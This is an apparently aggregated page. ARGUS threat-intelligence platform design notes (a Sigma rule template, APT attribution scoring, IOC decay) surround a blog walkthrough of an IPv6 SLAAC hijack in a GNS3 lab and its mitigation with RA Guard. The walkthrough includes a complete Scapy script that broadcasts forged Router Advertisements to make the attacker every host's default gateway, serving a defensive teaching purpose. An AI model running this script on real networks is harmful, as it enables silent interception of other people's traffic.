`pydantic.ValidationError`	Any Stream Consumer	Catch immediately before processing.	Push raw payload to `stream:dlq:{agent_name}`. ACK message.
`groq.RateLimitError`	LLM Router	Catch in `router.py`. Set Redis `argus:groq:fallback_active`.	Reroute seamlessly to Ollama local model.
`aiohttp.ClientError`	Feed Ingestor	Catch in `fetch_raw()`. Return `[]`.	Increment `consecutive_failures` in Postgres.
`redis.ConnectionError`	Redis Client	Unhandled (let crash).	Docker Swarm/Compose will restart container.
`qdrant_client.http.exceptions.UnexpectedResponse`	Correlation Agent	Catch if dimensions mismatch.	Drop/recreate collection and raise Exception to restart worker.

Extracted from: docs/08_WOW_ADDITIONS.md

ARGUS WOW Additions 📄

Extraordinary features to elevate the ARGUS platform

WOW ADDITION 1 — Sigma Rule Auto-Generation

Description: ARGUS will automatically generate a deployable SIEM Sigma rule from the mapped MITRE ATT&CK techniques of a campaign. This allows Security Operations teams to instantly ingest ARGUS intelligence directly into their SOC rulebase.

Implementation Plan:

Schema Definition: Define a Pydantic schema for Sigma rule output.
Jinja2 Template (argus/reporting/templates/sigma_rule.yaml.j2):

title: "ARGUS Auto-Generated Rule: Campaign {{ campaign_id }}"
id: {{ rule_uuid }}
status: experimental
description: "Detects behaviour associated with Campaign {{ campaign_id }}. Auto-generated by ARGUS based on MITRE mappings."
author: ARGUS AI Agent
date: {{ current_date }}
tags:
{% for tech in techniques %}
  - attack.{{ tech.tactic }}
  - attack.t{{ tech.technique_id.replace('T', '') }}
{% endfor %}
logsource:
  category: network_connection
detection:
  selection:
    DestinationIp:
    {% for ip in mapped_ips %}
      - {{ ip }}
    {% endfor %}
  condition: selection
falsepositives:
  - Unknown
level: high

Endpoint (GET /campaigns/{campaign_id}/sigma): This endpoint dynamically queries the IOCs for the campaign, fills the Jinja2 template, and returns a raw application/x-yaml payload that can be piped into SIEM environments.

WOW ADDITION 2 — APT Group Attribution Matching

Description: Automatically match campaign techniques against known MITRE ATT&CK Intrusion Sets to suggest attribution (e.g. "This campaign exhibits 82% overlap with APT29 (Cozy Bear)").

Implementation Plan:

MITRE Indexing: Extract intrusion-set objects from the local ATT&CK bundle. For each set, map its known attack-pattern (techniques) via relationship objects.
Attribution Scoring (argus/agents/threat_narrative.py):

def compute_attribution(campaign_techniques, intrusion_sets):
    best_match = None
    highest_score = 0
    for apt, known_techniques in intrusion_sets.items():
        overlap = set([t.technique_id for t in campaign_techniques]).intersection(known_techniques)
        score = len(overlap) / len(campaign_techniques) if campaign_techniques else 0
        if score > highest_score and score > 0.5: # 50% overlap threshold
            highest_score = score
            best_match = apt
    return best_match, highest_score

Report Integration: Add "Attribution Hypothesis" to the Threat Report PDF.

WOW ADDITION 3 — IOC Decay and Archive System

Description: Implement principled, time-based decay of IOC confidence to prevent stale intelligence from falsely correlating new campaigns.

Implementation Plan:

Decay Formulas (argus/storage/postgres.py background job):
- IPs: Half-life of 7 days (IPs are recycled quickly).
- Domains: Half-life of 30 days.
- Hashes: Half-life of 180 days.
Periodic Task: Add a Celery Beat task decay_ioc_confidence that runs daily.
- Updates confidence_score = confidence_score * e^(-lambda * days_since_last_seen).
- If confidence_score < 0.1, set status to archived and remove from Qdrant vector store.
Grafana Panel: Add "IOC Decay Distribution" showing Active vs Archived over time.

WOW ADDITION 4 — TLP Traffic Light Protocol Classification

Description: Automatically classify Threat Reports using the TLP standard (WHITE/GREEN/AMBER/RED) based on source feed sensitivity and overall confidence.

Implementation Plan:

Classification Rules (argus/agents/threat_narrative.py):
- If any IOC originated from a proprietary/internal feed -> TLP:AMBER.
- If overall_confidence > 0.85 and escalation not required -> TLP:GREEN.
- If report contains high-confidence CVE exploits -> TLP:AMBER.
- Default -> TLP:WHITE.
STIX Integration: Inject the tlp marking definition into the stix_report_object.
PDF Visuals: Update threat_report.html.j2 to dynamically change the cover classification badge color (e.g., Red background for TLP:RED).

WOW ADDITION 5 — Live Attack Surface Correlation

Description: Configure a .env variable with the user's infrastructure subnets. If ARGUS identifies an IOC matching this infrastructure, immediately trigger a critical alert.

Implementation Plan:

Config (.env): USER_ASSET_RANGES="10.0.0.0/8,192.168.1.0/24"
Correlation Logic (argus/agents/correlation.py):
- During Graph Edge Detection, compare subnet_24 or raw IPs against USER_ASSET_RANGES using Python's ipaddress module.
- If match found, create a [:TARGETS_USER_INFRASTRUCTURE] edge in Neo4j.
Escalation: If this edge is created, immediately bypass confidence thresholds and set escalation_required = true with reason "YOUR ENVIRONMENT IS MENTIONED".
Grafana Alert: Implement a prominent red alert panel driven by a query counting TARGETS_USER_INFRASTRUCTURE edges.

How I Built a Dual-Stack Enterprise Network and Demonstrated an IPv6 Hijack Attack (with Full Mitigation)

Ahmed El euch — Sun, 28 Jun 2026 19:50:17 +0000

I set up a full dual-stack enterprise network in GNS3, launched a silent IPv6 man-in-the-middle attack using nothing but a Python script — and then shut it down completely with a single switch policy. This post walks through every step: the topology, the ACLs, the attack, and the mitigation.

What This Project Is About
The Threat: SLAAC Abuse
Lab Setup
Network Topology and Addressing
Dual-Stack Configuration
Parallel ACL Policy — IPv4 and IPv6
RA Guard Deployment
The Attack: Live SLAAC Hijack from Kali Linux
Mitigation and Verification
Lessons Learned
Final Results

1. What This Project Is About

Most enterprise security teams have years of experience hardening IPv4. Firewalls, ACLs, ARP inspection, DHCP snooping — the whole stack is mature and well-understood.

But IPv6? It's usually an afterthought.

The problem is that dual-stack networks run both protocols simultaneously on the same physical links. If your IPv4 controls are airtight but your IPv6 is unmonitored, an attacker on the same segment can bypass everything — silently — using protocols and attack techniques that didn't exist when your security policy was written.

This project addresses that gap from scratch. Here's what I built and proved:

✅ A full multi-VLAN dual-stack enterprise network in GNS3
✅ Parallel ACL policies that give IPv6 the same level of control as IPv4
✅ A live SLAAC abuse attack that silently hijacks all IPv6 traffic on a segment
✅ RA Guard mitigation that kills the attack with zero host-side changes

Let's get into it.

2. The Threat: SLAAC Abuse

Before the configs, you need to understand why IPv6 is a problem.

In IPv4, getting a network address requires either manual config or a DHCP server. In IPv6, there's a third option called SLAAC — Stateless Address Autoconfiguration (RFC 4862).

Here's how it works normally:

A router periodically broadcasts a Router Advertisement (RA) — an ICMPv6 type-134 packet — to the all-nodes multicast address ff02::1
The RA contains a prefix (e.g. 2001:db8:2:10::/64)
Every host on the segment receives it and automatically generates its own IPv6 address by appending a 64-bit interface ID to that prefix
The router's link-local address becomes the host's default IPv6 gateway

This is elegant and stateless. It's also a security nightmare.

Here's the attack: nothing stops any host on the segment from sending its own RA. If an attacker broadcasts a forged RA advertising a prefix they control, with themselves listed as the default gateway — every host on the segment will:

Auto-configure an IPv6 address in the attacker's prefix
Install the attacker's link-local address as their default IPv6 route
Forward all outbound IPv6 traffic through the attacker first

The victims get no error, no warning, no prompt. The OS just follows RFC 4862 correctly. It's a full man-in-the-middle, achieved with a single Python script, requiring zero privileges on victim machines.

This is exactly what I demonstrated in this lab.

3. Lab Setup

What You Need

Component	Details
Simulator	GNS3 2.x with GNS3 VM
Router image	Cisco IOSv (`vios-adventerprisek9-m.vmdk`)
Switch image	Cisco IOSvL2 (`vios_l2-adventerprisek9-m.vmdk`) — IOS 15.2(4)S minimum
Attacker	Kali Linux 2024 (GNS3 appliance)
Victims	GNS3 VPCS × 3
Attack tool	Python 3 + Scapy 2.5

IOS version matters. RA Guard — the primary mitigation — requires IOS 15.2(4)S or later on the switch. Check with show version before starting. If your image is older, the RA Guard commands will silently do nothing.

GNS3 Setup Steps

Install GNS3 from gns3.com and configure the GNS3 VM
Import your Cisco IOSv and IOSvL2 images via Edit → Preferences → IOS on UNIX
Add Kali Linux from the GNS3 appliance marketplace (search "Kali")
Create a new project: File → New blank project → dual-stack-security

4. Network Topology and Addressing

The Topology

          ┌─────────────────────────────┐
          │          CORE-RTR           │
          │   10.0.0.1 / 2001:db8::1   │
          └──────────────┬──────────────┘
                         │
                  802.1Q trunk
                  (VLANs 10, 99)
                         │
          ┌──────────────┴──────────────┐
          │           DIST-SW           │
          │  RA Guard · DHCPv6 Guard   │
          └──┬────┬────┬─────────────┬──┘
             │    │    │             │
           Gi0/1 Gi0/2 Gi0/3       Gi0/4
          VLAN10 VLAN10 VLAN10    VLAN99
           Corp1  Corp2  Corp3    Attacker
        10.1.0.10 .11   .12    172.16.0.10

Three-tier design:

CORE-RTR — inter-VLAN routing, default gateway for all VLANs, ACL enforcement point
DIST-SW — VLAN segmentation, all Layer-2 IPv6 security controls live here
Access layer — Corp VPCS hosts (VLAN 10) and the isolated Kali attacker (VLAN 99)

IP Addressing Plan

Zone	VLAN	IPv4 Subnet	IPv6 Prefix	Gateway
Corp users	10	`10.1.0.0/24`	`2001:db8:2:10::/64`	`.1 / ::1`
Servers	20	`10.2.0.0/24`	`2001:db8:2:20::/64`	`.1 / ::1`
IoT / OT	30	`10.3.0.0/24`	`2001:db8:2:30::/64`	`.1 / ::1`
Guest / Attacker	99	`172.16.0.0/24`	`2001:db8:99::/64`	`.1 / ::1`

IPv6 prefixes use the 2001:db8::/32 documentation range (RFC 3849), appropriate for labs. In production, replace with your allocated GUA space.

5. Dual-Stack Configuration

Core Router (CORE-RTR)

The single most important command — and the most commonly forgotten:

! WITHOUT THIS, the router silently drops all inter-interface IPv6 packets.
! No error is generated. Everything just disappears.
ipv6 unicast-routing

This is off by default on all Cisco routers. There's no warning when it's missing. I've seen experienced engineers spend an hour debugging IPv6 before realizing this line wasn't there.

With that in place, configure the sub-interfaces for each VLAN:

! Parent interface must be up first
interface GigabitEthernet0/1
  no shutdown

! VLAN 10 — Corp users
interface GigabitEthernet0/1.10
  description "Corp Users - VLAN 10"
  encapsulation dot1Q 10
  ip address 10.1.0.1 255.255.255.0        ! IPv4 gateway
  ipv6 address 2001:db8:2:10::1/64         ! IPv6 gateway
  ipv6 enable
  ipv6 nd prefix 2001:db8:2:10::/64        ! Advertise this prefix via SLAAC
  no shutdown

! VLAN 99 — Guest/Attacker (isolated)
interface GigabitEthernet0/1.99
  description "Guest / Attacker - VLAN 99"
  encapsulation dot1Q 99
  ip address 172.16.0.1 255.255.255.0
  ipv6 address 2001:db8:99::1/64
  ipv6 enable
  ipv6 nd ra suppress all                  ! No RAs on the attacker segment
  no shutdown

The ipv6 nd ra suppress all on VLAN 99 means the attacker node receives no legitimate IPv6 prefix — they only get a link-local address. Which makes their rogue RA even more obvious when we inspect the packet later.

Distribution Switch (DIST-SW)

! Create VLANs
vlan 10
  name Corp-Users
vlan 99
  name Guest-Attacker

! Trunk to router — carries all VLANs
interface GigabitEthernet0/0
  description "Uplink to CORE-RTR"
  switchport trunk encapsulation dot1q
  switchport mode trunk
  switchport trunk allowed vlan 10,99
  no shutdown

! Corp access ports
interface range GigabitEthernet0/1-3
  switchport mode access
  switchport access vlan 10
  no shutdown

! Attacker port — isolated in VLAN 99
interface GigabitEthernet0/4
  description "Attacker-Kali"
  switchport mode access
  switchport access vlan 99
  no shutdown

6. Parallel ACL Policy — IPv4 and IPv6

This is where most dual-stack networks fail. The IPv4 ACLs are thorough and well-maintained. The IPv6 ACLs either don't exist, or they're a half-hearted copy that misses critical rules.

My approach: strict 1:1 parity. Every IPv4 rule has an exact IPv6 counterpart at the same interface in the same direction. If you can't explain why a rule exists for IPv4 but not IPv6, it shouldn't be different.

The Parity Matrix

Security intent	IPv4 rule	IPv6 rule
Allow established TCP return	`established`	`established`
Allow DNS	`eq 53`	`eq 53`
Allow HTTPS	`eq 443`	`eq 443`
Allow ping	`icmp echo`	`echo-request` + `echo-reply`
Allow address resolution	(ARP is L2, invisible to ACLs)	`nd-ns`, `nd-na` ⚠️
Path MTU Discovery	(L3 fragmentation)	`packet-too-big`
Block lateral movement	`deny 172.16.0.0/12`	`deny 2001:db8:99::/64`
Anti-spoofing	(RFC 1918 filtering)	`deny FE80::/10`
Implicit deny	`deny ip any any log`	`deny ipv6 any any log`

The ⚠️ on nd-ns and nd-na is intentional. This is the most critical IPv6-specific rule, and it has no IPv4 equivalent:

In IPv4, ARP operates at Layer 2 and is completely invisible to IP ACLs. In IPv6, Neighbor Discovery (NDP) — the replacement for ARP — runs inside ICMPv6. If you block ICMPv6 with a broad deny rule before explicitly permitting nd-ns and nd-na, hosts cannot resolve MAC addresses for any IPv6 destination. All IPv6 connectivity silently fails — even if your routing is perfectly configured.

IPv4 ACL

ip access-list extended ACL_V4_CORP_IN
  10 permit tcp any 10.1.0.0 0.0.0.255 established
  20 permit udp 10.1.0.0 0.0.0.255 host 10.2.0.53 eq 53
  30 permit tcp 10.1.0.0 0.0.0.255 host 10.2.0.53 eq 53
  40 permit tcp 10.1.0.0 0.0.0.255 any eq 443
  50 permit icmp 10.1.0.0 0.0.0.255 any echo
  60 deny   ip 10.1.0.0 0.0.0.255 172.16.0.0 0.0.255.255 log
  70 permit ip 10.1.0.0 0.0.0.255 any
  80 deny   ip any any log

IPv6 ACL (mirror policy)

ipv6 access-list ACL_V6_CORP_IN
  ! Mirrors of IPv4 rules 10-50
  permit tcp any 2001:DB8:2:10::/64 established
  permit udp 2001:DB8:2:10::/64 host 2001:DB8:2:20::53 eq 53
  permit tcp 2001:DB8:2:10::/64 host 2001:DB8:2:20::53 eq 53
  permit tcp 2001:DB8:2:10::/64 any eq 443

  ! IPv6-ONLY: NDP must be permitted BEFORE any deny
  permit icmp any any nd-ns           ! Neighbor Solicitation (= ARP request)
  permit icmp any any nd-na           ! Neighbor Advertisement (= ARP reply)
  permit icmp any any packet-too-big  ! Path MTU Discovery
  permit icmp any any echo-request
  permit icmp any any echo-reply

  ! Anti-spoofing: link-local addresses must never be routed
  deny   ipv6 FE80::/10 any log

  ! Mirror of IPv4 rule 60 — block lateral movement
  deny   ipv6 2001:DB8:99::/64 2001:DB8:2:10::/64 log

  ! Mirror of rules 70-80
  permit ipv6 2001:DB8:2:10::/64 any
  deny   ipv6 any any log

Apply Both ACLs

interface GigabitEthernet0/1.10
  ip access-group ACL_V4_CORP_IN in
  ipv6 traffic-filter ACL_V6_CORP_IN in

7. RA Guard Deployment

RA Guard (RFC 6105) is the primary mitigation against rogue RAs. It operates at the switch ASIC — not the CPU — which means it enforces at wire speed with no performance penalty.

The concept is simple:

Ports connected to real routers get a router policy — RAs are forwarded
Ports connected to hosts get a host policy — any RA is silently dropped before it reaches the wire

! Policy for the uplink port facing CORE-RTR
ipv6 nd raguard policy RAGUARD_ROUTER
  device-role router
  trusted-port

! Policy for ALL access ports — Corp AND attacker
ipv6 nd raguard policy RAGUARD_HOST
  device-role host    ! Any RA arriving here is DROPPED

! Apply router policy to the uplink
interface GigabitEthernet0/0
  ipv6 nd raguard attach-policy RAGUARD_ROUTER

! Apply host policy to all access ports
interface range GigabitEthernet0/1-4
  ipv6 nd raguard attach-policy RAGUARD_HOST

DHCPv6 Guard was also deployed as a companion control — it blocks rogue DHCPv6 server replies on access ports, closing the other half of the stateful IPv6 attack surface:

ipv6 dhcp guard policy DHCPV6_HOST
  device-role client

interface range GigabitEthernet0/1-4
  ipv6 dhcp guard attach-policy DHCPV6_HOST

A common mistake: if you forget to attach RAGUARD_ROUTER to the uplink (Gi0/0), the real router's legitimate RAs are also dropped. Corp hosts never receive a prefix, SLAAC fails entirely, and it looks identical to a connectivity failure. Always verify both policies are attached.

8. The Attack: Live SLAAC Hijack from Kali Linux

This is the part that makes the risk concrete.

Setup on Kali

First, configure the Kali node's interface (it's in VLAN 99, isolated from Corp):

sudo ip addr add 172.16.0.10/24 dev eth0
sudo ip link set eth0 up
sudo ip route add default via 172.16.0.1

# Verify a link-local address was auto-generated (needed as the RA source)
ip -6 addr show eth0
# Should show: fe80::xxxx/64 scope link

Disable RA Guard Temporarily (to demonstrate the attack)

On DIST-SW, remove the guard from the attacker port:

interface GigabitEthernet0/4
  no ipv6 nd raguard attach-policy RAGUARD_HOST
end

The Attack Script

#!/usr/bin/env python3
# rogue_ra.py — SLAAC Abuse Demo
# For authorized lab use only — Ahmed El Euch

from scapy.all import *

rogue_ra = (
    Ether(dst="33:33:00:00:00:01")           # IPv6 all-nodes multicast MAC
    / IPv6(
        src="fe80::bad:1",                   # Attacker's spoofed link-local
        dst="ff02::1"                        # All nodes on segment receive this
    )
    / ICMPv6ND_RA(
        M=0,                                 # SLAAC mode (not managed/DHCPv6)
        routerlifetime=9000                  # "Trust me as your router for 2.5h"
    )
    / ICMPv6NDOptSrcLLAddr(lladdr=get_if_hwaddr("eth0"))
    / ICMPv6NDOptPrefixInfo(
        prefixlen=64,
        L=1,                                 # On-link flag
        A=1,                                 # Autonomous flag — TRIGGERS SLAAC
        validlifetime=0xffffffff,
        preferredlifetime=0xffffffff,
        prefix="2001:db8:dead::"             # Attacker-controlled prefix
    )
)

print("[*] Sending rogue RA to ff02::1 — all hosts on segment will receive this")
sendp(rogue_ra, iface="eth0", count=5, inter=0.5, verbose=True)

Run it:

sudo python3 rogue_ra.py

What Happens on the Victims

Check any Corp host immediately after:

show ipv6

Before the attack — one address:

fe80::a8bb:ccff:fe00:1/64       link-local (normal)
2001:db8:2:10::a8bb:ccff:fe00:1/64   global — LEGITIMATE ✅

After the attack — two addresses:

fe80::a8bb:ccff:fe00:1/64       link-local (normal)
2001:db8:2:10::a8bb:ccff:fe00:1/64   global — LEGITIMATE ✅
2001:db8:dead::a8bb:ccff:fe00:1/64   global — ROGUE ❌  ← NEW

Check the default route on a Linux host:

ip -6 route show default
# default via fe80::bad:1 dev eth0 proto ra metric 100
#                   ^^^^
#          This is Kali's link-local address
#          ALL outbound IPv6 traffic now routes through the attacker

The man-in-the-middle is established. No victim noticed anything. No alert fired. The OS just did what the RFC told it to do.

9. Mitigation and Verification

Re-enable RA Guard

interface GigabitEthernet0/4
  ipv6 nd raguard attach-policy RAGUARD_HOST
end
write memory

Run the Exact Same Attack Again

Same script, same interface, same 5 packets. Then check Corp hosts:

show ipv6

Result: only the legitimate address is present. The rogue 2001:db8:dead:: prefix never appears.

Check the Drop Counters on the Switch

DIST-SW# show ipv6 snooping statistics

  Packets received  :  5
  RA dropped        :  5    ← 100% of rogue RAs killed at the port ✅
  RA forwarded      :  0

Every single rogue RA was silently discarded at the switch ASIC, before it reached any host's network stack. The legitimate router's RAs continued flowing uninterrupted through the trusted uplink policy on Gi0/0.

Full Verification Suite

! On CORE-RTR
show running-config | include ipv6 unicast-routing   ! Must return a line
show ipv6 interface brief                            ! All SVIs show dual-stack addresses
show ipv6 neighbors                                  ! Corp hosts visible in NDP table
show ip access-lists ACL_V4_CORP_IN                 ! Hit counts > 0 after traffic
show ipv6 access-list ACL_V6_CORP_IN               ! Hit counts > 0 after traffic

! On DIST-SW
show ipv6 nd raguard policy RAGUARD_HOST            ! Gi0/1-4 listed as targets
show ipv6 nd raguard policy RAGUARD_ROUTER          ! Gi0/0 listed as target
show ipv6 snooping statistics                       ! RA dropped counter active
show vlan brief                                     ! VLANs 10, 99 present
show interfaces trunk                               ! Gi0/0 trunking VLANs 10, 99

10. Lessons Learned

Six things that tripped me up during this build — so you don't have to:

1. ipv6 unicast-routing is always the first thing to check.
If IPv6 isn't working on the router, this is almost certainly missing. There's no error when it's absent — traffic just drops silently.

2. show ipv6 unicast-routing does not exist.
The IOS command to verify it is show running-config | include ipv6 unicast-routing. This is a surprisingly common gotcha in documentation and tutorials.

3. RA Guard requires IOS 15.2(4)S minimum.
On older images, the commands are accepted without error but have no effect. Check show version before trusting your lab results.

4. The parent physical interface must be no shutdown.
Sub-interfaces remain down even if they have no shutdown individually, if the parent (Gi0/1) is still in its default shutdown state.

5. nd-ns and nd-na must come before any deny.
This breaks silently. Hosts can't ARP (NDP) so they can't communicate over IPv6, but the routing table looks fine. It's one of the harder bugs to diagnose.

6. Forgetting RAGUARD_ROUTER on the uplink looks identical to a connectivity failure.
If the real router's RAs are being dropped alongside the attacker's, SLAAC fails for everyone and you'll think there's a trunk or routing problem. Always check both policies.

11. Final Results

Test	Expected	Result
IPv6 routing enabled	`ipv6 unicast-routing` in config	✅ Pass
Corp hosts SLAAC an address	`2001:db8:2:10::xxxx` assigned	✅ Pass
IPv4 ACL blocks lateral movement	Corp → VLAN 99 denied	✅ Pass
IPv6 ACL parity with IPv4	Both ACLs show hit counts	✅ Pass
NDP not blocked	`nd-ns`/`nd-na` permitted; NDP works	✅ Pass
Rogue RA lands (Guard OFF)	Hosts adopt `2001:db8:dead::`	✅ Pass
RA Guard kills rogue RA	Drop counter 5/5; no rogue address	✅ Pass
Legitimate RA unaffected	`2001:db8:2:10::` retained	✅ Pass
DHCPv6 Guard applied	`device-role client` on access ports	✅ Pass

All nine test cases passed. The key finding: RA Guard is a low-cost, high-impact control that requires zero changes on end hosts. It drops rogue RAs at the switch ASIC before they reach the wire, at line rate, with no CPU overhead.

But it only works as part of a complete security posture. The deeper lesson is the parallel policy principle: every IPv4 control needs an explicit IPv6 counterpart at the same enforcement point. Without that discipline, IPv6 is an open side-channel through an otherwise hardened network — and SLAAC abuse is exactly the kind of attack that exploits it.

Resources and Code

All configs, the attack script, and the full LaTeX report are available in the GitHub repository:

🔗 github.com/AhmedElEuch/dual-stack-security

dual-stack-security/
├── configs/
│   ├── router/CORE-RTR.cfg     ← Full dual-stack router config + ACLs
│   └── switch/DIST-SW.cfg      ← VLANs, RA Guard, DHCPv6 Guard
├── attack/
│   └── rogue_ra.py             ← Scapy rogue RA script
├── report/
│   └── dual_stack_report.tex   ← Full LaTeX report (compile in Overleaf)
└── docs/
    ├── ADDRESSING.md
    ├── ACL_POLICY.md
    └── RA_GUARD.md

⚠️ The attack script is for authorized lab use only. Never run it on a network you don't own.

Ahmed El Euch — Network Security Engineering

DEV Community: Ahmed El euch

ARGUS - Autonomous Threat Intelligence Pipeline

📑 Table of Contents

Part 1: Project Overview & Vision

ARGUS - Autonomous Threat Intelligence Pipeline 📄

Architecture

Quickstart

Prerequisites

Setup

Getting your API key

Key hierarchy

Makefile Targets

Services

API Endpoints

Production Deployment

Project Structure

License

PROJECT: ARGUS — Agentic Threat Intelligence Platform 📄

Overview

Architecture

Pipeline Stages

AI Agents

Data Stores

Threat Feeds

Frontend Dashboard

API

Configuration

Deployment

ARGUS: Project Vision, Problem Statement & Solution Overview 📄

1. Project Philosophy & Vision

2. The SOC & SecOps Crisis: Problems Solved by ARGUS

1. Alert Fatigue & Noise

2. Manual & Fragmented Enrichment

3. Disconnected Indicators (Lack of Campaign Context)

4. Delayed Behavior Identification & MITRE Mapping

5. Reactive Security Posture (Lack of Predictive Analysis)

6. Static Knowledge & Zero Self-Improvement

3. High-Level System Architecture & Flow

4. Key Value Proposition & Capabilities

5. Summary

Part 2: Core Architecture & Pipeline

Technical Architecture 01: Multi-Agent System & Reactive Pipeline 📄

1. Executive Summary

2. Event-Driven Messaging Architecture (Redis Streams)

Redis Stream Topology

Stream Definitions & Message Payloads

3. Autonomous Agent Fleet Overview

Agent Roles & Specifications

4. Agent Health & Heartbeat Architecture

5. Resilience, Fault Tolerance & Retries

Technical Architecture 02: Ingestion & STIX 2.1 Normalization 📄

1. Executive Summary

2. Ingested Threat Intelligence Feeds

3. Data Processing & Pipeline Stages

4. Feed Parser Architecture

Supported Indicator Types (IOCType Enum)

5. STIX 2.1 Normalization Standard

STIX 2.1 Domain Object Mapping

6. High-Performance Deduplication Mechanism

1. Redis Key-Space Deduplication

2. Database Constraint Check

7. Fault Tolerance & Feed Controls

Technical Architecture 03: Multi-Source Threat Enrichment & Confidence Scoring 📄

1. Executive Summary

2. Enrichment Services & Clients

Integration Matrix

3. Asynchronous Multi-Query Engine

4. Geolocation Engine (geoip.py)

5. Rate Limiting & Token Budget Management

6. Composite Confidence Scoring Algorithm

Scoring Weights Breakdown

Score Classification

Technical Architecture 04: Vector Indexing & Semantic Campaign Clustering 📄

1. Executive Summary

2. Embedding Generation (vector_indexer.py)

Model Specs

Textual Serialization Strategy

3. Qdrant Vector Database Integration

Vector Payload Schema

4. Autonomous Campaign Clustering & Merging Protocol

Supported Indicator Types (`IOCType` Enum)

4. Geolocation Engine (`geoip.py`)

2. Embedding Generation (`vector_indexer.py`)

5. Indicator Time Decay Engine (`ioc_decay.py`)

2. LLM Router Architecture (`argus/llm/`)

2. Threat Narrative Generation (`threat_narrative.py`)

PDF Report Compilation Engine (`reporting/`)

3. Predictive Threat Intelligence Engine (`prediction.j2`)

Prediction Prompt (`prediction.j2`)

5. Feedback Learning Agent (`feedback_learning.py`)

5. Real-Time WebSockets (`/ws/live-feed`)

Low-Memory Profile Features (`docker-compose.low-memory.yml`)

4. Environment Variables & Secret Hierarchy (`.env`)

6. Automation & Maintenance Targets (`Makefile`)

File: `argus/api/websockets.py`

1. `GET /api/iocs`

2. `GET /api/campaigns` and `GET /api/campaigns/{id}`

3. `GET /api/campaigns/{id}/graph`

4. `GET /api/mitre/heatmap`

5. `GET /api/metrics/summary`

6. `GET /api/agents/health`